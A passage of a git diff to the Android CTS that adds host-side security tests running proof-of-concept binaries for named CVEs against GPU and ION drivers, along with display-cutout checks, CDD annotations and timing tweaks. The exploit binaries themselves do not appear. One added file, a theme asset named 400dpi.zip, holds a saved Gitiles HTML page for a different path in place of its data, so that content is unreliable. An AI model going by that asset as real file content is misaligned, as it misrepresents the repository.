+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_02 extends SecurityTestCase {
+    /**
+     *  b/31799863
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8482() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
new file mode 100644
index 0000000..690b277
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_03 extends SecurityTestCase {
+
+    /**
+     *  b/31824853
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8479() throws Exception {
+        if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+            // CTS begins the next test before device finishes rebooting,
+            // sleep to allow time for device to reboot.
+            Thread.sleep(30000);
+        }
+    }
+
+    /**
+     *  b/33940449
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0508() throws Exception {
+        if (containsDriver(getDevice(), "/dev/ion") &&
+            containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPocNoOutput("CVE-2017-0508", getDevice(), 30);
+            // CTS begins the next test before device finishes rebooting,
+            // sleep to allow time for device to reboot.
+            Thread.sleep(60000);
+        }
+    }
+
+    /**
+     *  b/33899363
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0333() throws Exception {
+        if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
+            // Device takes up to 30 seconds to crash after ioctl call
+            Thread.sleep(30000);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
similarity index 81%
rename from hostsidetests/security/src/android/security/cts/Poc17_11.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index c585a71..8f1771b 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -22,18 +22,6 @@
 public class Poc17_11 extends SecurityTestCase {
 
     /**
-     * b/34705430
-     */
-    @SecurityTest
-    public void testPocCVE_2017_6264() throws Exception {
-        enableAdbRoot(getDevice());
-        if (containsDriver(getDevice(),
-                           "/sys/devices/virtual/thermal/cooling_device2/cur_state")) {
-            AdbUtils.runPocNoOutput("CVE-2017-6264", getDevice(), 60);
-        }
-    }
-
-    /**
      * b/36075131
      */
     @SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
similarity index 100%
rename from hostsidetests/security/src/android/security/cts/SecurityTestCase.java
rename to hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
index 1761ba6..e9589eb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
@@ -26,7 +26,8 @@
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util  \
     cts-display-service-app-util \
-    platform-test-annotations-host
+    platform-test-annotations-host \
+    compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.server
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
old mode 100644
new mode 100755
index 51c2348..437a43c
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
@@ -29,10 +29,14 @@
 
     private boolean mReady;
 
+    private boolean mStarted;
+    private Bundle mExtras;
+
     @Override
     public void onReady() {
         super.onReady();
         mReady = true;
+        showSessionIfReady();
     }
 
     @Override
@@ -43,13 +47,18 @@
             stopSelf();
             return START_NOT_STICKY;
         }
-        if (mReady) {
-            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
-            showSession(extras, 0);
-        }
+        mExtras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+        mStarted = true;
+        showSessionIfReady();
         return START_NOT_STICKY;
     }
 
+    private void showSessionIfReady() {
+        if (mReady && mStarted) {
+            showSession(mExtras, 0);
+        }
+    };
+
     /**
      * Starts the assistant voice interaction service, which initiates a new session that starts
      * the assistant activity.
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
index 24be43a..264f69b 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
@@ -16,6 +16,7 @@
 
 package android.server.cts;
 
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
 
 import android.app.Activity;
@@ -27,6 +28,13 @@
 import android.os.Bundle;
 import android.server.cts.tools.ActivityLauncher;
 import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.Window;
+import android.view.WindowInsets;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
 
 /**
  * Activity that registers broadcast receiver .
@@ -45,6 +53,34 @@
         IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
 
         registerReceiver(mBroadcastReceiver, broadcastFilter);
+
+        // Determine if a display cutout is present
+        final View view = new View(this);
+        getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+        try {
+            Field field = getWindow().getAttributes().getClass().getField(
+                "layoutInDisplayCutoutMode");
+            field.setAccessible(true);
+            field.setInt(getWindow().getAttributes(),
+                1 /* LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES */);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return;
+        }
+        view.setLayoutParams(new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+                                       | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
+        view.setOnApplyWindowInsetsListener((v, insets) -> {
+            try {
+                Method method = WindowInsets.class.getDeclaredMethod("getDisplayCutout");
+                Object displayCutoutInstance = method.invoke(insets);
+                Log.i(getClass().getSimpleName(), "cutout=" + (displayCutoutInstance != null));
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return insets;
+        });
+        setContentView(view);
     }
 
     @Override
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
index f462c60..2951d62 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
@@ -103,7 +103,7 @@
         // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
         // file is complete.
         try {
-            Thread.sleep(100);
+            Thread.sleep(300);
         } catch (InterruptedException e) {
             //ignored
         }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index 0269b5a..2e1ed8f 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -24,6 +24,8 @@
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.awt.Rectangle;
 import java.util.ArrayList;
 import java.util.List;
@@ -296,6 +298,7 @@
     /**
      * Test that device handles consequent requested orientations and displays the activities.
      */
+    @CddTest(requirement="7.1.3/C-1-1")
     @Presubmit
     public void testFullscreenAppOrientationRequests() throws Exception {
         if (!supportsRotation()) {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
index f2f5589..b736fa2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -189,7 +189,9 @@
                 EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
                 TEST_ACTIVITY);
         mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertHomeActivityVisible(false);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(false);
+        }
         pressBackButton();
         mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
         assertAssistantStackExists();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
index 7e2e53e..7b6dfd8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
@@ -52,11 +52,21 @@
     }
 
     public void testRotation180Relaunch() throws Exception {
+        if (hasDisplayCutout()) {
+            // Skip case in CTS 8.1
+            // Skipping test: display cutout present, can't predict exact lifecycle"
+            return;
+        }
         // Should receive nothing
         testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
     }
 
     public void testRotation180NoRelaunch() throws Exception {
+        if (hasDisplayCutout()) {
+            // Skip case in CTS 8.1
+            // Skipping test: display cutout present, can't predict exact lifecycle"
+            return;
+        }
         // Should receive nothing
         testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
     }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
index 32aa785..1d4a699 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -21,6 +21,8 @@
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.Collections;
 import java.util.LinkedList;
 import java.util.List;
@@ -38,6 +40,7 @@
  * Build: mmma -j32 cts/hostsidetests/services
  * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
  */
+@CddTest(requirement="3.2.4/C-1-2")
 public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
     private static final String WM_SIZE = "wm size";
     private static final String WM_DENSITY = "wm density";
@@ -413,6 +416,7 @@
      * Tests launching a non-resizeable activity on virtual display. It should land on the
      * default display.
      */
+    @CddTest(requirement="3.2.4/C-2-1")
     public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
@@ -471,6 +475,7 @@
      * Tests moving a non-resizeable activity to a virtual display. It should land on the default
      * display.
      */
+    @CddTest(requirement="3.2.4/C-2-1")
     public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
@@ -643,6 +648,7 @@
      * command and without specifying the display id - the second activity must appear on the
      * primary display.
      */
+    @CddTest(requirement="3.2.4/C-1-3")
     @Presubmit
     public void testConsequentLaunchActivity() throws Exception {
         if (!supportsMultiDisplay()) { return; }
@@ -679,6 +685,7 @@
      * Tests launching an activity on simulated display and then launching another activity from the
      * first one - it must appear on the secondary display, because it was launched from there.
      */
+    @CddTest(requirement="3.2.4/C-1-3")
     @Presubmit
     public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
         if (!supportsMultiDisplay()) { return; }
@@ -1223,6 +1230,7 @@
      * Test that launching from app that is not present on external display and doesn't own it to
      * that external display is not allowed.
      */
+    @CddTest(requirement="3.2.4/C-3-1")
     public void testPermissionLaunchFromDifferentApp() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
@@ -1312,6 +1320,7 @@
      * Test that all activities that were on the private display are destroyed on display removal.
      */
     // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+    @CddTest(requirement="3.2.4/C-1-4")
     public void testContentDestroyOnDisplayRemoved() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
@@ -1366,6 +1375,7 @@
     /**
      * Test that the update of display metrics updates all its content.
      */
+    @CddTest(requirement="3.2.4/C-1-5")
     @Presubmit
     public void testDisplayResize() throws Exception {
         if (!supportsMultiDisplay()) { return; }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 5f63580..5eeb320 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -22,6 +22,8 @@
 import android.server.cts.ActivityManagerState.ActivityStack;
 import android.server.cts.ActivityManagerState.ActivityTask;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.awt.Rectangle;
 import java.lang.Exception;
 import java.lang.String;
@@ -270,10 +272,12 @@
         assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
     }
 
+    @CddTest(requirement="3.8.14/C-3-3")
     public void testEnterPipAspectRatioMin() throws Exception {
         testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
     }
 
+    @CddTest(requirement="3.8.14/C-3-3")
     public void testEnterPipAspectRatioMax() throws Exception {
         testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
     }
@@ -883,6 +887,7 @@
         assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
     }
 
+    @CddTest(requirement="3.8.14/C-3-4")
     public void testWindowButtonEntersPip() throws Exception {
         if (!supportsPip()) return;
 
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index ca672e4..30b0af9 100755
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -1150,6 +1150,8 @@
             "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
             + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
             + " orientation=(\\d+)");
+    private static final Pattern sDisplayCutoutPattern = Pattern.compile(
+        "(.+): cutout=(true|false)");
     private static final Pattern sDisplayStatePattern =
             Pattern.compile("Display Power: state=(.+)");
     private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
@@ -1237,6 +1239,58 @@
         return null;
     }
 
+    /** Check if a device has display cutout. */
+    boolean hasDisplayCutout() throws Exception {
+        // Launch an activity to report cutout state
+        final String logSeparator = clearLogcat();
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+
+        // Read the logs to check if cutout is present
+        final boolean displayCutoutPresent = getCutoutStateForActivity(
+            BROADCAST_RECEIVER_ACTIVITY, logSeparator);
+
+        // Finish activity
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        mAmWmState.waitForWithAmState(mDevice, (state) -> !state.containsActivity(
+            BROADCAST_RECEIVER_ACTIVITY), "Waiting for activity to be removed");
+
+        return displayCutoutPresent;
+    }
+
+    /**
+     * Wait for activity to report cutout state in logs and return it. Will return {@code null}
+     * after timeout.
+     */
+    private boolean getCutoutStateForActivity(String activityName, String logSeparator)
+            throws DeviceNotAvailableException {
+        final String logTag = activityName;
+        for (int retry = 1; retry <= 5; retry++) {
+            final boolean result = readLastReportedCutoutState(logSeparator, logTag);
+            if (result) {
+                return result;
+            }
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+            }
+        }
+        return false;
+    }
+
+    /** Read display cutout state from device logs. */
+    private boolean readLastReportedCutoutState(String logSeparator, String logTag)
+            throws DeviceNotAvailableException {
+        final String[] lines = getDeviceLogsForComponents(new String[]{logTag}, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sDisplayCutoutPattern.matcher(line);
+            if (matcher.matches()) {
+                return "true".equals(matcher.group(2));
+            }
+        }
+        return false;
+    }
+
     /** Waits for at least one onMultiWindowModeChanged event. */
     ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
             String activityName, String logSeparator) throws Exception {
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
index c99f001..6b32e84 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
@@ -68,16 +68,6 @@
             });
     }
 
-    // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
-    // we will not be constrained to the insets and so we will be the same size
-    // as the main window main frame.
-    public void testMatchParentDialogLayoutInOverscan() throws Exception {
-        doParentChildTest("MatchParentLayoutInOverscan",
-            (WindowState parent, WindowState dialog) -> {
-                assertEquals(parent.getFrame(), dialog.getFrame());
-            });
-    }
-
     static final int explicitDimension = 200;
 
     // The default gravity for dialogs should center them.
diff --git a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
index 8709f14..9469a0c 100644
--- a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
@@ -18,6 +18,7 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.content.res.Configuration;
 import android.os.Build;
 import android.os.Bundle;
 import android.theme.app.modifiers.DatePickerModifier;
@@ -76,6 +77,11 @@
         mTheme = THEMES[themeIndex];
 
         setTheme(mTheme.id);
+
+        // Force text scaling to 1.0 regardless of system default.
+        Configuration config = new Configuration();
+        config.fontScale = 1.0f;
+        getResources().updateConfiguration(config, null);
         setContentView(R.layout.theme_test);
 
         mViewGroup = (ReferenceViewGroup) findViewById(R.id.reference_view_group);
diff --git a/hostsidetests/theme/assets/24/400dpi.zip b/hostsidetests/theme/assets/24/400dpi.zip
new file mode 100755
index 0000000..b76e564
--- /dev/null
+++ b/hostsidetests/theme/assets/24/400dpi.zip
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>hostsidetests/theme/assets/26/400dpi.zip - platform/cts - Git at Google</title><link rel="stylesheet" type="text/css" href="/+static/base.8PwAX-dsywmU2hx_vi_YSA.cache.css"><link rel="stylesheet" type="text/css" href="/+static/prettify/prettify.pZ5FqzM6cPxAflH0va2Ucw.cache.css"><!-- default customHeadTagPart --></head><body class="Site"><header class="Site-header"><div class="Header"><a class="Header-image" href="/"><img src="//www.gstatic.com/images/branding/lockups/2x/lockup_git_color_108x24dp.png" width="108" height="24" alt="Google Git"></a><div class="Header-menu"> <a class="Header-menuItem" href="https://accounts.google.com/AccountChooser?service=gerritcodereview&amp;continue=https://android.googlesource.com/login/platform/cts/%2B/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">Sign in</a> </div></div></header><div class="Site-content"><div class="Container "><div class="Breadcrumbs"><a class="Breadcrumbs-crumb" href="/?format=HTML">android</a> / <a class="Breadcrumbs-crumb" href="/platform/">platform</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/">cts</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14">android-cts-8.0_r14</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/">.</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests">hostsidetests</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme">theme</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets">assets</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26">26</a> / <span class="Breadcrumbs-crumb">400dpi.zip</span></div><div class="u-sha1 u-monospace BlobSha1">blob: d624bd54df060b534c62c07b8cf8b70b126b8f58 [<a href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">file</a>] [<a href="/platform/cts/+log/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">log</a>] [<a href="/platform/cts/+blame/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">blame</a>]</div><div class="FileContents-binary">8615086-byte binary file</div></div> <!-- Container --></div> <!-- Site-content --><footer class="Site-footer"><div class="Footer"><span class="Footer-poweredBy">Powered by <a href="https://gerrit.googlesource.com/gitiles/">Gitiles</a>| <a href="https://policies.google.com/privacy">Privacy</a></span><span class="Footer-formats"><a class="u-monospace Footer-formatsItem" href="?format=TEXT">txt</a> <a class="u-monospace Footer-formatsItem" href="?format=JSON">json</a></span></div></footer></body></html>
\ No newline at end of file
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index e559f18..169e651 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -44,6 +44,8 @@
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipInputStream;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Test to check non-modifiable themes have not been changed.
  */
@@ -141,7 +143,7 @@
 
         super.tearDown();
     }
-
+    @CddTest(requirement="3.8.6/C-1-1,C-1-2")
     public void testThemes() throws Exception {
         if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
@@ -273,7 +275,8 @@
         final Pattern p = Pattern.compile("Override density: (\\d+)");
         final Matcher m = p.matcher(output);
         if (m.find()) {
-            return Integer.parseInt(m.group(1));
+            throw new RuntimeException("Cannot test device running at non-default density: "
+                    + Integer.parseInt(m.group(1)));
         }
 
         final String densityProp;
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 81cc265..b78d606 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -31,6 +31,8 @@
 import com.android.tradefed.util.CommandStatus;
 import com.android.tradefed.util.RunUtil;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.File;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -78,6 +80,7 @@
      * Check if adb serial number, USB serial number, ro.serialno, and android.os.Build.SERIAL
      * all matches and meets the format requirement [a-zA-Z0-9]{6,20}
      */
+    @CddTest(requirement="7.7.1/C-1-2")
     public void testUsbSerial() throws Exception {
         String adbSerial = mDevice.getSerialNumber().toLowerCase().trim();
         if (adbSerial.startsWith("emulator-")) {
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 2feff2e..63ee043 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
-LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit compatibility-device-util
 
 LOCAL_PACKAGE_NAME := ProcessTests
 
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index a64a900..8faee83 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,6 +25,8 @@
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.cts.process.activity.NoSharePidActivity;
 import com.android.cts.process.activity.SharePidActivity;
 import com.android.cts.process.activity.SharePidSubActivity;
@@ -32,6 +34,7 @@
 public class ProcessTest extends AndroidTestCase {
     private final int WAIT_TIME = 2000;
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testUid() throws Exception {
         String enableApp = "com.android.cts.process.shareuidapp";
         String disableApp = "com.android.cts.process.noshareuidapp";
@@ -46,6 +49,7 @@
         assertNotSame(uid2, uid3);
     }
 
+    @CddTest(requirement="9.2/C-0-1")
     public void testPid() throws Exception {
         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
index db12db5..1266415 100644
--- a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
@@ -18,11 +18,13 @@
 
 import android.acceleration.HardwareAcceleratedActivity;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.VendorInterfaceTest;
 
 /**
  * Test that uses an Activity with hardware acceleration enabled.
  */
+@CddTest(requirement="7.1.4.4/C-0-1,C-0-2")
 public class HardwareAccelerationTest
         extends BaseAccelerationTest<HardwareAcceleratedActivity> {
 
diff --git a/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
index 2070666..42cda30 100644
--- a/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
@@ -18,9 +18,12 @@
 
 import android.acceleration.WindowFlagHardwareAcceleratedActivity;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Test that uses an Activity with hardware acceleration enabled.
  */
+@CddTest(requirement="7.1.4.4/C-0-1/C-0-2")
 public class WindowFlagHardwareAccelerationTest
         extends BaseAccelerationTest<WindowFlagHardwareAcceleratedActivity> {
 
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 24fdda3..eefc44e 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner mockito-target-minus-junit4
+    ctstestrunner mockito-target-minus-junit4 compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
